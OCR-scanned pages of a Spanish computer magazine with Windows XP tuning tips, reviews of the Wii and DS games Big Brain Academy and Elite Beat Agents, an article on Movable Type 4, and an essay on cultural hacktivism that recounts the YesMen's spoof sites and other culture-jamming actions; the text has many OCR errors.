intervencion del usuario con un reinicio
programado.

Se abrird una ventana en la que
basicamente puedes escoger entre tres

opciones: No configurada (habilitada por
defecto), Habilitada y Deshabilitada. Si

el estado se establece en Habilitado, se
producird un reinicio programado después
del nimero especificado de minutos pos-
teriores a la anterior peticion de interven-
cion. 5i por el contrario se establece en
Deshabilitado o No configurado, el inter-
valo predeterminado serd de 10 minutos
(lo que seguramente ya habris experimen-
tado). Selecciona “Deshabilitada” y pulsa
en Aceptar para guardar este cambio.

Hay que tener en cuenta que esta
directiva solo se aplicard cuando Actua-
lizaciones automiticas se configure para
realizar instalaciones programadas de
actualizaciones. Si la directiva “Confi-
gurar Actualizaciones automaticas” ests
deshabilitada, la directiva no se aplicari.
Por ello deberds asegurarte que esta
directiva estd habilitada ya que, en de-
finitiva es la que especifica si el equipo
recibird actualizaciones de seguridad y
otras descargas importantes a través del
servicio de actualizacion automdtica de
Windows.

Haz doble clic sobre la directiva en
cuestion ("Configurar Actualizaciones
automaticas”) y selecciona la opcidn “Ha-
bilitada”. Verds como automaticamente
se habilita el apartado inferior en donde
podras configurar el tipo de operacicn a
realizar en el momento dado. La opcidn
“3 - Naotificar solo para instalar” deberia
ser suficiente para nuestro fin, Bastard
con aceptar estos cambios para confirmar
nuestra nueva configuracion.

Fara complementar esto puedes tam-
bién deshabilitar la conexidn a Windows
Update para buscar nuevos controla-
dores en el caso de conectar un nuevo
dispositivo al PC. Esto serd tan sencillo
como pulsar sobre Mi PC con el botdn
derecho del ratdn, seleccionar Propie-
dades y de |a ventana resultante pulsar
en la pestafia “Hardware” y luego en el
boton “Windows Update”. Se abrird una
nueva ventana en la que si seleccionas
la opcion “Nunca realizar una bisqueda
de controladores en Windows Update” te
aseguraras que tu equipo no se conectard
sin tu consentimiento al servicio de ac-
tualizaciones.

Nicolas Velasquez Espinel




Aumentar la velocidad de Windows
indice

TRUCOS ELIMINAR EL SERVICIO DE INDIGE DE WINDOWS

eliminando el servicio de

La velocidad de tu PC depen-

de de miltiples factores que se
van acentuando conforme pasa
el tiempo e instalas mas y mas
aplicaciones. De esta forma, un
servicio como el de indice que
puede resultar de mucha utilidad
al principio, puede convertirse
en una carga de la que, sin em-
bargo, podemos deshacernos
facilmente mejorando asi la velo-
cidad del sistema operativo.

El eterno dilema de la mayoria de los usua-
rios consiste en encontrar ese equilibrio en
donde el PC consiga su mdximo rendimiento
sin tener que rendirse a cuantiosos desem-
bolsos de memoria o nuevas CPUs. Lo cierto
es que la velocidad de Windows puede me-
jorarse de multiples formas que son capaces
de conseguir una leve mejora en determina-
dos apartados, aunque siempre serd conve-
niente saber exactamente qué hacemos ya
que un cambio beneficioso para un aspecto
del PC puede ser contraproducente en otro.

El servicio de indice Windows XP es uno
de esos apartados que puede resultar muy
util en ocasiones pero cuya eliminacion tam-
bién puede conseguir resultados positivos.
Dependerd siempre del nivel de desorgani-
zacion que tenga nuestro disco duro y del
rendimiento del sistema en general, No es
conveniente tocarlo si las cosas van relativa-
mente bien ya que sepuramente estard cum-
pliendo con solvencia con su propdsito. Sin
embargo si eres de esos que sufre en silencio
la lentitud de un arranque o de la apertura
de un programa, esta puede ser la solucidn
que estabas buscando.

El servicio de indexado de Windows XP
se encarga de permitirnos encontrar archivos
y carpetas mas rapidamente al mantener de
forma automdtica una especie de base de da-
tos interna permanentemente actualizada con
informacidn relativa a los archivos v carpetas
de nuestro sistema, El problema aparece en
el momento en el que los recursos de nuestra
maquina se ven comprometido por aplicacio-
nes muy exigentes en cuanto al rendimiento,
cuando tenemos demasiados programas re-
sidentes en memoria o simplemente cuando
nos vamos quedando con menos espacio

en nuestro disco duro. En estos casos, el
indexado, que seguird intentando cumplir
con el propdsito para el cual fue disefiado
(y como es [6gico cargando con su cuota de
memoria correspondiente), puede resultar
una carga adicional que nos perjudique su-
miéndonos en molestos retrasos en la ejecu-
cion de acciones y, en casos mds extremos,
en el cuelgue de la maquina.

Llegados a este punto se hace nece-
sario valorar la posibilidad de alcanzar
una solucién de compromiso: eliminar
el servicio de indexado de forma que no
optimizaremos la velocidad de respuesta a
la hora de realizar bisquedas de archivos
0 carpetas, para conseguir, de un modo
general, un rendimiento mayor del PC. Para
ello haz doble clic en MI PC, pulsa con el
botdn derecho del ratén sobre tu disco duro
principal y selecciona del mend flotante la
opcion “Propiedades”.

De la ventana resultante podrds obser-
var como la opcion “Permitir a Index Server
indizar el disco para acelerar la biasqueda”
aparece activada. Debes deseleccionar este
apartado y hacer a continuacian clic en
Aceplar. Veras como automaticamente se
despliega una ventana en la que se te pre-
guntard si quieres aplicar los cambios sélo a
C:\ o si quieres aplicar los cambios a todas
las subcarpetas y archivos. En el caso que
nos ocupa escogeremos esta dltima opcidn
y pulsamos en “Aceptar”. Cabe mencionar
que el sistema de bisqueda (Meni Inicio
- Buscar) seguird funcionando aunque haya-
mos quitado el servicio Index Server.

Si lo que quieres es eliminar todo rastro
del servicio de indice de tu maquina, lo
que también puedes hacer es comprobar
si tienes instalado el complemento como
componente de adicional de Windows en
tu maquina v, si es asi, desinstalarlo del
todo, aunque esta opcidn no te permitird ya
habilitar o deshabilitar el servicio en oca-
siones posteriores (siempre podrds volver a
reinstalarlo siguiendo el proceso inverso al
detallado). Accede al Panel de Control, pul-
sa en iniciar “Agregar o quitar programas” y
selecciona “Agregar o guitar componentes
de Windows". En el cuadro de didlogo que
aparezca, deberas localizar el componente
servicio de Index Server v, si la casilla se
encuentra marcada, desmarcarla y pulsar en
Siguiente para finalizar.

Nicolds Velasquez Espinel
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Programacidn: Nintendo
Distribuidor: Nintendo
Plataforma: Wii

Calificacion: Mayores de 3 afios

hittpz/Yms.nintendo-europe.comy/bba/esES/

sagas con mavor éxito en DS desem-

barquen en Wii. 5i hay algo innegable
es que la arrolladora trayectoria de la portitil
de Nintendo ha ayudado lo suyo en |a asom-
brosa recuperacian de la companiia, v que ha
“tirado del carro”, en lo que a Wii se refiere.
Ese nuevo publico descubierto por DS ha vis-
to con buenos ojos la apuesta de Wi, asi que
no resultaba extrano que, ademds de las gran-
des sagas de Nintendo, también aparecieran
las nuevas series de juegos que tantas ventas
han cosechado en DS. Por otro lado, si DS se
anunciaba como una nueva forma de jugar
en portatiles, Wii revisa y amplia el concepto
para consolas de salon. El resultado es mucho
mds simple que toda esta parrafada: Brain Tra-
ining v similares, a Wii de cabeza.

El problema es cdmo se hace. Seria de
idiotas pensar que se puede adaptar tal cual
un juego de portatil, por bueno que sea, v
anadirle algunos elementos nuevos v listo
para venderlo, Es mas, puede que se haga
mds de una vez, y se siga vendiendo. Pero
ya que estamos en unos tiempos en los que
la gente reclama nuevos estandares v mayo-
res exigencias en cuanto a jugabilidad y ca-
lidad, no vendria nada mal vigilar con lupa
el paso de estos juegos a la pantalla grande.
Big Brain Academy es uno de esos juegos
que se queda a medio camino.

Big Brain Academy para Wii es una
buena adaptacidon de un juego de éxito de
D5, pero poco mas. Nintendo ha
optado por anadir una sola baza
mas de importancia a la hora
de adaptarlo, el multiplayer.
Fuera de eso, no hay mucho
mds. Estamos ante el mismo jue-
2o, la misma mecanica, v el mismo
desarrollo, Que no es malo, pero po-
dia haber sido mucho mids. Puede que
Nintendo no haya qguerido forzar mucho
la maquina en este primer intento; una

Es. lagico pensar que buena parte de |as
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ha conseguido que toda la
familia {desde los mds peques
hasta los abuelos) se sienten juntos a jugar a
Wii Sports, meterlos a todo en una sucesion
de pruebas y desafios realmente intuitivos
no deberia suponer un gran problema. Pero
puede que la prudencia excesiva o la falta
de iniciativa haya propiciado una versicn tan

0 ambiciosa,

Al igual que en la version para D5,
Big Brain Academy para Wii arranca con
una evaluacidn inicial para ver como anda
nuestra cerebro, mejor dicho, cuanto pesa.
MNos bombardeard con una serie de pruebas
0 gjercicios mentales en cinco categorias
distintas: percepcidn, agudeza, memoria,
anilisis y célculo. Estas pruebas son rdpidos
minijuegos, muy al estilo de los de la saga
Wario Ware, Después de la evaluacion
inicial, nuestro objetivo es mejorar la marca
obtenida en cada categoria, y el global que
aumente el peso de nuestro cerebro, Pode-
mos repasar y practicar las pruebas de cada
categoria y vaolver a examinarnos cuantas
veces veamos necesarias. También podemos

ess _Sige una categoris. D
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comparar nuestros resultados con el de ®
nuestros familiares y amigos, v rememorar
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todo tipo de complejos y burlas infantiles
por aquello de quién es mds listo que
quien, Ejem.

Y no hay mis. Es decir, no hay nada mds
de sustancia. La sensacicn con Big Brain
Academy para Wii es de diversidn, pero
muy limitada. La baza que citibamos era la
opcidn multijugador, que ademas se ha en-
cargado Nintendo de promocionar debida-
mente, va que cada spot del juego contiene
no poco metraje de dicho modo para en-
ganchar al personal. ¥ hace bien Nintendo,
porque ese modo multijugador es el dnico
aliciente extra para continuar con Big Brain
Academy. Mo es el party game definitivo, ni
mucho menos, pero reserva buenos minutos
de entretenimiento en compania. Pero no
muchos. Como no serd el dltimo entrenador
mental que dé el salto a Wii, veremos si las
proximas ocasiones se es mds ambicioso, o
igual de conformista.




Elite Beat Agents

Programacidn: iINiS
Distribuidor: Nintendo

Plataforma: DS
Calificacidn: Mayores de 12 afios
hitpYmenintendo-eurape comdelifebeatapentsesES/

una obra v la “adapten” a los gus-

tos, usos v costumbres de otra franja
horaria. Por pequeiios que sean los cam-
bios, no dan buen resultado. Ahi estan las
“mejoras” de las versiones occidentales de
dos grandes peliculas de Stephen Chow,
Shaolin Soccer v Kung-Fu Hustle. Por eso,
cuando nos enteramos de que habria ver-
sion “adaptada a Occidente” de uno de
los mejores juegos del catdlogo de D5, nos
echamos a temblar. Afortunadamente, los
temblores pueden pasar, porque Elite Beat
Agents, por si solo, es un grandisimo juego
de DS, adaptacién o no.

Todo empieza por Osu! Tatakae! Ouen-
dan!, un juego japonés que es ya todo un
mito entre los usuarios de DS. Dicho juego
acomete, con gran sentido del humor y de-
cidido estilo manga, la figura del animador,
muy popular en el pais nipdn. El animador
estd presente en lugares de estudio, trabajo
y también de ocio, para motivar a la gente
que alli se encuentra para realizar mejor
su tarea, ya sea en el tajo o incluso para
divertirse. Esta parece ser la razon oficial
para cambiar los protagonistas del juego,
pero no su mecinica ni su finalidacd, Osu!
Tatakae! Ouendan, como todo buen juego
“musical”, mezclaba a la perfecion estética,
jugabilidad y sonido, haciendo cada partida
un festin de ritmos y melodias. En el juego
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original, nuestro papel como
animadores es hacer todo
lipo de movimientos ritmicos
y bailes para motivar a quien
se encuentre en un apuro y
ayudarle a cumplir sus objetivos.  Dando
con el lapiz en la pantalla tictil de diferen-
les formas vamos creando esos bailes de
motivacion. Un desarrollo simple, pero con
una curva de dificultad muy estudiada y
una jugabilidad sencillamente endiablada.

Elite Beat Agents funciona exactamente
igual que Osu! Tatakae! Ouendan!, lo que se
ha cambiado es el entormo de los protago-
nistas. Ya no son animadores, sino un CLErpo
muy peculiar de agentes de una organiza-
cion no menos especial. A las drdenes del
sargento Kuhl, nuestros agentes irdn donde
se les ordene y dondle hagan falta. Seguire-
mos animando a la gente de a pie para rea-
lizar las mds diversas acciones, con nuestros
bailes y ritmicos aspavientos. Es decir, todo
sigue igual, que nadie se alarme. Seguimos
luchando por subir [a moral de quienes nos
rodean, con el mismo estilo artistico v el
mismo y descharrante sentido del humor.

Otro elemento que no podia faltar en
esta adaptacion es la masica. En Elite Beat
Agents se ha apostado por un ramillete de
éxitos del rock y del pop de todos los tiem-
pos, desde el mas clasico al mds actual. No
son las versiones originales, sino “reinven-
ciones” especialmente compuestas para
el juego, v les vienen de perlas. Durante
el juego nos veremos tocando la pantalla
tactil de la DS con canciones de Madonna,
Rolling Stones, Jackson Five, Village People,
David Bowie, Jamiroquai e incluso Awril
Lavigne y Beyvonce.

Elite Beat Agents tiene un modo historia
desplegado en 19 misiones, pero tambicén
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incluye un modo multiju-

gador con duelos de ritmo
en el que pueden participar
hasta 4 jugadores sin cables. Eso si,
no se puede acceder a este modo con
un salo cartucho, como ofros juegos.

También incluye un mado replay para ver
nuestro rendimiento y donde podemas me-
jorar, y un curioso modo en el que podemos
retar a nuestro “fantasma”, o sea, a nuestro
propio desarrollo en partidas anteriores. Re-
sulta gracioso ver aqui este modo, mads pro-
pio de los simuladores de conduccion, y no
dEj!Et de tener su aliciente. La verdad es que
todo en Elite Beat Agents rezuma dedicacion
y excelencia, uno de los juegos que nadie
debe perderse si tiene una DS, Una joya pa-
ra todos los piblicos.




MOVABLE TYPE 4

El retorno

Después de aifios en el destierru, la herrammnta que remluemnﬁ la blogosfera vuelve al ataque

con todos los deberes hechos. ;Ha Ilegadn el momento de volver a Movable Type?
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La curiosa historia de Six Apart (sixapart.com) vino de

la mano del mejor CMS para gestion de blogs que pro-
bablemente haya existido, Movable Type (movabletype.
org), un software propietario desarrollado por la joven
empresa liderada por Mena Trott y su marido Ben Trott. Su
uso era masivo por muchos bloggers, en parte por la gran
comunidad que desarrollaba plugins v daba soporte gra-
tuitamente, asi como por sus funcionalidades avanzadas.
Esto cambia drésticamente el 15 de junio de 2004, cuan-
do la compania pasa de la version 2.6 a la 3.0 y cambia
determinantemente las licencias de uso, haciéndolas mas
restrictivas y aumentando los motivos por los que habia
que pagar por su uso. Esto desencadend un movimiendo
de traspaso a un Wordpress, que aunque era en aguel mo-
mento inferior en prestaciones, poseia una licencia abier-
ta y era totalmente gratuito.

La caida de Movable

Desde aquel entonces, Movable Type no volvid a levan-
tar cabeza, y si bien es cierto que algunas corporaciones
lo han utilizado cono cms, no ha vuelto ha recuperar el
favor de la comunidad blogger en un porcentaje significa-
tivo.

La importancia de la nueva version de Movable Type,
la 4.0, se basa en dos claves. Primera, creciente sensacidn
de inestabilidad de Wordpress, donde el nimero de bugs
y actualizaciones que los corrigen son constantes. Y se-
gunda, las licencias se han flexibilizado, e incluso se ha
creado una version open source con su propia comunidad
de desarrollo, localizable en movabletype.org.

Tampoco olvidaremos los puntos fuertes que Movable
Type siempre tuvo frente a Wordpress, como son que no
sobrecarga la CPU del servidor con peticiones constantes
a la base de datos -un autentico problema en los blog con
cierto éxito manejados con Wordpress-, va que construye
el sitio generando paginas rigidas en el momento de la
publicacidn, aunque hay usuarios que detestan este pro-




oA liet D oy .

A Cesbs % Sssege = Design = Prefewesies v O B

Edit Entry
) viast enangia R i il

iy | - B Ervioes

i Summary

Copanil bess Than | moress age

BLOGS MOVABLE TYPE 4

Ep Iy s=ia
|Haly Syniax Highlighiing Batman! L wciinc bemy than | minds
g N— 00y Iy
N E i Faormak:[ Bech e =
Bedy . N e
N n rge a8 EESEENFR T LD AW This. ariry Bas i
1 e et e 0 brackdecis.
“Tian dp @ ferdandic feadure. § will peove o De very st ingiesd [} Gread work dsam Riooph & feakre mequssr,
TRClE S LTS 1 [T T TSN O WGAT Dl SR MO LIBETLE I e [ D el TGS S [Tl
nii Dikplay Dpuanm
¥ oulr with Arvingl. i our command. In Betn 3 rok only will W give y0u NOUR [RECioUs bine pumsers, we wil pive Fakis 7 T
pia ol S Pl Tedillng oot of Do DS sl Coals PRy 7 Boay
™ Tagn
1 I Cetagary
Edit Template I Excerpt
™ Halnjwith
e I f=' Fublishing
Bevw  Hdarew ] Ralipia i rlll:lll . . j EI . =F
I.i.rdtlru Adax i
| ! | — Actions T Top
| o= LA L - L= H I B
PUBLISHNG FEDBACK
Hats | Pk ed =] Bsoepl B Commm Azsaplea O | Resed
r 4 0 el
Putleh Wl Dror.gn-id4 | [iaaes :
e Traclacs
Basename [ oo [m] UFiLs

i Save  Froview = Delaie

ceso, ¥ que ademds permite mdltiples
usuarios y blogs en una dnica instala-
cian.

En cambio, su principal problema
es la complejidad de su instalacian,
frente a los famosos cinco minutos de
Wordpress.

Novedades

Como principales caracteristicas de
esta version 4, estdn una reforma
dristica del interfaz de administracidn
-con nuevas funciones, como el au-
toguardado de entradas, y la gestion
de imdgenes y otros ficheros-, unas
avanzadas herramientas de comunidad
—que permiten comentar, recomendar,

votar & incluso publicar entradas a los
lectores registrados con perfiles Ope-

M

LAS LICENCIAS SE HAN
FLEXIBILIZADO, E INCLUSO
SE HA CREADO UNA VER-
SION OPEN SOURCE CON
S5U PROPIA COMUNIDAD DE
DESARROLLO

nlD, que también cuentan con perfil
propio-, ¥ una nueva arquitectura mas
eficaz, con un alto rendimiento en las
conexiones con las base de datos y la
posibilidad de escalabilidad sepin se
vaya necesitando a medida que crez-
can las necesidades del blog ger.

Mon Magan
monmagan.com

VABLE TYPE'Q®)

Publishing Platform

El pasado 31 de agosto se celebro, como
cada anio, el dia del blog.

Esta celebracion, gue tiene su origen

en la similitud de la palabra Blog con
3ag, se festeja dando a conocer con un
enlace y una pequefia descricion en tu
blog, a cinco bitacoras que encuentres
interesantes, con el objetivo de difundir
el fenomeno y dar a conocer nuevos
blogeros a nuestros lectores. Tienes mas
informacion sobre esta curiosa iniciativa
en blogday.org/es.htm

Y desde esla seccion queremos con-
tribuir recomendando cinco blogs que
siguen la tematica de esta seccion, la
blogosfera,

Blogmundi (blogmundi.com)

Un interesante blog donde encontraras
consejos sobre como iniciar un nuevo
blog, e interesantes consejos para man-
tenerlo en forma y difundirlo.

Planeta Wordpress
(planetawordpress.org)

Permanece informado de todo lo que
ocurre en torno a este cms, con este pla-
neta que recoge lo mas interesante que
del tema se trata en 18 blogs.

Anieto2k (anieto2k.com)

Una de las webs de referncia en desarro-
llo web, cms y blogs. Incluye listados de
themes y plugins para Wordpress

Apuntes sabre blogs
(avalerofer.blogspot.com)

Utilisimo blog donde se detalla paso a
paso como crear y mantener blogs

@9



Hacktivismo en los cadigos culturales

Al hablar de hacktivismo siempre pensamos en software libre, en tecnologias digitales o en internet.
Pero el lenguaje humano, y la cultura que permite desarrollar, es la primera y mas poderosa tecnolo-
gia que aun hoy tenemos. Nuestra vida esta atravesada por cédigos culturales, lenguajes simbélicos,
sistemas de signos y protocolos de comportamiento. La guerrilla de la comunicacion, el hactivismo
cultural, por asi decirlo, lleva con nosotras desde que el verbo (la palabra) se hizo carne o incluso
antes. A pesar de su caracter milenario sélo recientemente se ha teorizado sobre ello bajo el nombre
de “guerrilla de la comunicacion” y se han puesto en practicas sus posibilidades mas subversivas.
Desde el google bombing hasta los mensajes ciberzapatistas, pasando por los fakes de paginas web,
o la reciente emision televisiva de una explosion nuclear en Chequia, la guerrilla de la comunicacion
es uno de los principales destornilladores de la caja de herramientas hacktivista.
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Y el verbo se hizo carne... y habité entre
nosotros

Hoy nos sentimos liberados y encadenados por igual a las
nuevas tecnologias. Muchas luchan en por liberar los ci-
figos informadticos, por crear espacios participativos en los
que el poder de decision sea compartido, por sistemas de
comunicacion alternativos en la red, ... Pensemos por un
momento a donde se remontan realmente esta luchas, ddn-
de empieza a estar el ser humano sometido a un cadigo, a
un sistema de signos, a unos protocolos de comunicacian.
¥ nos encontraremos directamente con el Kernel religioso
de los primeros sistemas sociales humanos. El verbo de
Dios, su palabra, el codigo, se hizo hombre y mujer. ¥ fue
esta Gltima quien se atrevié a morder de la manzana pro-
hibida del conocimiento, a subvertir la dnica regla. La pri-
mera hacker de la historia occidental (cristiana) conquistd
asi para humanidad la libertad, a un precio tan justo como
caro: el de la muerte y la necesidad de curriarselo fuera del
paraiso.

Pronto esa libertad vino a terminar regulada por un
codigo mas explicito y externalizado: el de los 10 manda-
mientos y El Libro. Las religiones del libro (como se deno-
mina al Islam, el Judaismo y el Cristianismo) imponen un
codigo inmodificable sobre el sistema cultural, sélo inter-
pretable por unos pocos “procesadores” (los exégetas) pero
aplicable a todos por igual. Confinada su reproduccidon
manual a los monasterios y ocultado bajo el latin culto, El
Libro, se convierlte en la fuente del orden social, estructu-
rando miedos y deseos, ritos y conductas. Pero la guerrilla
de la comunicacion, que es a lo que ibamos, no trata de
“romper” directamente con estas reglas, no se trata de refu-
tar el “contenido” (total los ateos no tienen iglesias en las
que predicar); se trata mds bien de hackear lo que rodea
a esos textos y codices, desplazar ligeramente los signifi-
cados, re-codificar su recepcion, exagerar el mensaje, o el
medio, para abrir espacios de libertad. Por supuesto hoy,
en nuestras sociedades, no es solo la iglesia la que impone
su discurso, las gramdticas culturales son mis sutiles, los
punks y las estéticas subversivas son ripidamente apropia-
das por el mercado y luchar contra los codigos establecidos
es mas dificil... y divertido.

The YesMen

Los YesMen (no dejéis de ver la pelicula/documental del
mismo nombre, ya sabéis donde encontrarla) son un grupo
de guerrilleros de la comunicacién unidos para dar la vuelta
a los codigos de la Organizacion Mundial del Comercio.
Una de las acciones previas realizadas por uno de ellos fue
el Barbie Liberation Organization que consistié en cambiar
los chips de voces automatizadas entre los mufecos Barbie
y Gl-Joes. Tras el cambio se introdujeron cientos de mufiecos
hackeados en las estanterias de diversos centros comercia-
les. Cual fué la sorpresa de los nifios al encontrarse con una
Barbie que decia: “El soldado muerto no miente” o “Coronel
Smith aniquilalos a todos” o el Gl-Joe gritindo “Me gusta ir
al cole” o “Quiero ir de compras con mis amigas”. Basta con
un simple intercambio de frases para senalar y desarticular
los cadigos machistas inscritos en los juguetes infantiles. La
noticia salid en los telediarios y causd cierto revuelo durante
las navidades de 1998 en los EEUU.

EN NUESTRAS SOCIEDADES,

NO ES SOLO LA IGLESIA LA QUE
IMPONE SU DISCURSO, LAS
GRAMATICAS CULTURALES SON
MAS SUTILES, LOS PUNKS Y LAS
ESTETICAS SUBVERSIVAS SON
RAPIDAMENTE APROPIADAS POR
EL MERCADO Y LUCHAR CONTRA
LOS CODIGOS ESTABLECIDOS ES
MAS DIFICIL... Y DIVERTIDO




SRR S R e iy | | S—e e e P

El primer paso de los YesMen fue
sin embargo el fake (copia falsa, imita-
cion) de la pagina web de G.W. Bush
(hijo) durante las elecciones del 2000.
La pagina oficial era www.georgew-
bush.com pero resultd que el dominio
www.gwbush.com estaba libre. Los
YesMen obtuvieron ese dominio e
hicieron una copia “casi” exicta del
miginal, des-cubriendo algunas ver-
dades ocultas en su pagina “oficial”.
Los medios se hicieron eco de la web
y provoco frases como la siguiente del
ilmpin Bush “tiene que haber limites a
a libertad”.

5in embargo la accion mds sonada
de este grupo fue su siguiente fake.
GATT son las antiguas siglas de la
OMC (la Organizacion Mundial del
Comercio, una organizacion cuyo
objetivo era gestionar los tratados de
economia internacionales). Una vez
mas el dominio www.patt.org estaba
libre pero la pagina satirica de los Yes-
Men cold hasta el punto de que fueron
invitados a varias conferencias para
representar a la OMC. Empezaron sus
charlas proponiendo la abolicion de
la siesta y otras costumbres de “vagos”
del sur de Europa, proponiendo la
compra directa del voto (para evitar el
tediosos e ineficaz sistema democrati-
co) y toda una serie de exageraciones
que de una forma satirica pero acorde
con los objetivos de la organizacion,
mostraba la crueldad de la misma.
Sin embargo, lejos del revuelo que
esperaban causar, su discurso radical
resultd totalmente asimilable por los
oyentes de universidades y cimaras
de comercio, dispuesto a aceptar casi
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PODEMOS JUNTARNOS Y BUSCAR

NUEVAS FORMAS DE DIVERTIRNOS Y

CREAR SITUACIONES COMPROMETIDAS Y
LIBERADORAS EN EL CENTRO COMERCIAL,
LA COLA DEL INEM O CREANDO UNA PAGINA
WEB. LA IMAGINACION AL PODER, AL
ALCANCE DE TODAS

cualquier barbaridad dicha por alguien
que representa el poder de la OMC.
Los YesMen llegaron a desnudarse du-
rante una charla mostrando un traje
dorado con un falo gigante con el que
el jefe de la empresa podia monitori-
zar a sus empleados del tercer mundo
mientras disfrutaba del gimnasio y las
vacaciones. S5us acciones llevaron a
publicitarse en revistas de ejecutivos y
cuestionar los principios de un entorno
(el de las grandes corporaciones) que
se rige por codigos muy estrictos e
impensables de subvertir para los acti-
vistas de a pie.

Guerrilla de la
comunicacion detras de los
teclados

El Google Bombing es una técnica
bien conocida de asociacidn entre dos
significados. El mds famoso google
bombing entre los lectores seguro que
es el que asocia la palabra *ladrones”
a la web de la SGAE. Esto se logra gra-
cias al programa de ranking del motor
de bisqueda de Google que da mds
valor a la pdgina de a la que apunta
una palabra enlazada con dicha pé-
gina. Asi cientos (miles) de activistas
empezaron a publicar en sus blogs la
palabra “ladrones” enlazando a la web
de la SGAE y atn hoy si buscamos “la-
drones” en Google una de los primeros
enlaces que aparecen (si no el prime-
ro) es el de la SGAE.

Pero no es el (nico ejemplo de
guerrilla de la comunicacién de tipo
tecnoldgico. Ya vimos como los Yes-

Men hacian imitaciones de pdginas
web oficiales para conseguir colarse
en los grandes medios de poder. Tam-
bién pueden hacerse muchas otras
cosas. Recientemente el colectivo de
hackers Ztohoven burlaba los sistemas
de seguridad de |a television checa
CT2 para emitir en directo la explo-
sion de una bomba nuclear en plena
campina. El objetivo era denunciar
como todo lo que sale en la television
se da por verdadero automdticamente,
por muy absurdo que pueda parecer
(o cuanto mas absurdo vy terrible mas
creible). i

En fin, que la guerrilla de la comu-
nicacion es eso que podemos hacer
todos los dias: como ponerse a aplau-
dir escandalosamente cuando, en un
bar de derechas, sale G.W. Bush en la
television o explicarle minuciosamente
a ese amigo que nos pasa los CDs gra-
bados con musica el terrible dafo que
le estd causando a Ricky Martin que ya
no podrd comprarse un nuevo chalet
por culpa de esos ladrones violen-
tos del internet. O también podemos
juntarnos y buscar nuevas formas de
divertirnos y crear situaciones com-
prometidas y liberadoras en el centro
comercial, la cola del INEM o creando
una pagina web. La imaginacidn al po-
der, al alcance de todas.

Evhack (evhack.info®gmail.com)
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